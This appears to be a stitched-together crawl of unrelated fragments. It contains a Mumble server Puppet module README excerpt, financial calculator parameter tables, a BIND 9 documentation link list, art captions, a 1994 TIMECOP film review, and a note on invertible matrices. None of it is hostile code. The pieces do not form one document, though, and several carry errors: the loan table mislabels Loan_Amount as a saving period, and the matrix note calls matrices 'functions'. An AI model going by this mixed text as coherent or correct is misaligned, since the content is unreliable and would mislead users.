parameter sets the supervisor account's password
by executing murmurd -supw password
, it is not a template
configuration, and thus can be set manually as well.
Limitations
This module currently only supports Ubuntu. It is working on my Vagrant box, Ubuntu 12.04.4 LTS with Puppet 3.4.1, and as such it's development is on hold.
If Mumble ever runs without being given an SSL certificate and key, then it will auto-generate its own. If later given a custom certificate and key, the Mumble service must be stopped, and then manually run with the option to wipe the keys from its internal configuration database.
service mumble-server stop
murmurd -wipessl
pkill murmurd
service mumble-server start
Please note that on Debian / Ubuntu, you may want to change
USER=mumble-server
to USER=root
in /etc/init.d/mumber-server
so
that root owned keys can be read by Mumble on startup, as per this
bug. The
Mumble daemon automatically drops privileges itself.
Development
Fork on GitHub, make a Pull Request.


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Retirement Savings Amount
| Parameter Name | Description | Example Value |
|---|---|---|
| Monthly_Amount | This parameter is used for monthly amount of saving | Between 0 and 10000 |
| Period | This parameter is used for time period of saving | Between 0 and 5 years |
| Interest_Rate | This parameter is used for Interest Rate of saving | Between 0 and 1 |
Invested Amount
| Parameter Name | Description | Example Value |
|---|---|---|
| Investing_Amount | This parameter is used for monthly amount of saving | Between 0 and 10000 |
| Period | This parameter is used for time period of saving | Between 0 and 10 years |
| Interest_Rate | This parameter is used for Interest Rate of saving | Between 0 and 1 |
Months to repay Loan
| Parameter Name | Description | Example Value |
|---|---|---|
| Monthly_Amount | This parameter is used for monthly amount of saving | Between 0 and 10000 |
| Loan_Amount | This parameter is used for time period of saving | Between 0 and 1,00,000 |
| Interest_Rate | This parameter is used for Interest Rate of saving | Between 0 and 1 |


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Bind 9.x documents
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|
README
FAQ
|
CHANGES
|
COPYRIGHT
Migration:
v8 to v9
|
v4 to v9
named
|
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(ARM) |
ARM
(PDF version)
BIND tools:
dig
dnssec-keygen
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dnssec-signzone
host
named-checkconf
|
named-checkzone
nslookup
nsupdate
rndc
|
rndc.conf
|
rndc-confgen


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Experience art in a new way
He was there, floating in the vast depths of his brilliant mind
We had paper skin, ink for blood, and music in our shadows
A lust for life lived in us, as much as the sun shone in the sky
He dreamt of the universe above while nestled in the river of her hair
summer hung in the air as water splashed on shimmery pool tiles
and you realize that every passerby lives a life just as complex and intricate as yours
She held his hand and there were waves between them
The dark only seems endless, in the end you are stronger
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TIMECOP A film review by Michael John Legeros Copyright 1994 Michael John Legeros
(Universal) Directed by Peter Hyams (NARROW MARGIN, THE PRESIDIO, RUNNING SCARED, 2010, OUTLAND, CAPRICORN ONE) Written by Mark Verheiden, based on the Dark Horse comic series Cast Jean-Claude Van Damme Ron Silver Mia Sara Bruce McGill MPAA Rating "R" (presumably for language, violence, and one sex scene.) Running Time 98 minutes
====
You can count the number of decent time travel movies on two hands and, unfortunately, TIMECOP isn't one of them. But don't blame the Van Damme man--director Peter Hyams deserves all the credit for this only okay trip back to the future.
Based on the Dark Horse comic series, the story introduces the Time Enforcement Agency, created in 1994 to police existing (!) time travel technology. The agency's stance is simple: no one goes back to get rich or get even. Cut to 2004 and top agent Max Walker (Van Damme) has just returned from 1929, with his former partner in chains for trying to make a deal in the Depression. The verdict is guilt and the sentence is death--but not before Max learns of a bigger conspiracy involving a U.S. senator (Silver) who's traveling time to fund his run for the presidency.
What sounds confusing is really a gas, courtesy of a smart script by comics writer Mark Verheiden. Lay people may have a tough time navigating the narrative, but the story makes perfect sense to anyone raised on Marvel Comics and "The Fantastic Four." Verheiden also includes a double does of humor, ranging from a slam on Van Damme's accent to a virtual reality gag that's virtually worth the price of admission.
Too bad the direction isn't.
Peter Hyams is an old sci-fi hack who directed OUTLAND, 2010, and O.J. Simpson in CAPRICORN ONE. But TIMECOP gets away from him and the result is a goofy tone with zero realism (nobody can shoot to hit) and too many (poorly filmed) fight scenes.  The high low-point is a absurd finale that has three or four or fifteen characters climbing all over a rain-swept roof. At night.
And what's with those silly looking "future cars?" Is someone remaking SLEEPER on a nearby lot?
Acting abilities are all over the place. Both Ron Silver and Bruce McGill (as the TEA head) are in top form. Van Damme needs work, no duh, but he's three times better than co-star Mia Sara, who plays his wife. Badly.
TIMECOP wraps with a happy ending you can see a year off. Missing: a humorous coda explaining just how the happy ending is supposed to work.
BOTTOM LINE: Time travel is always a blast, even with poorly staged sequences of Jean-Claude Van Damme as a kick-boxing "time cop." Think of a comic book with good writing and lousy art.
Grade: C+
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Properties of invertible matrices
Let $A$ and $B$ be $n\times n$ functions.
- If $A$ is invertible, then so is $A^{-1}$ and $(A^{-1})^{-1}=A$
- If $A$ and $B$ are both invertible then so is $AB$ and $(AB)^{-1}=B^{-1}A^{-1}$
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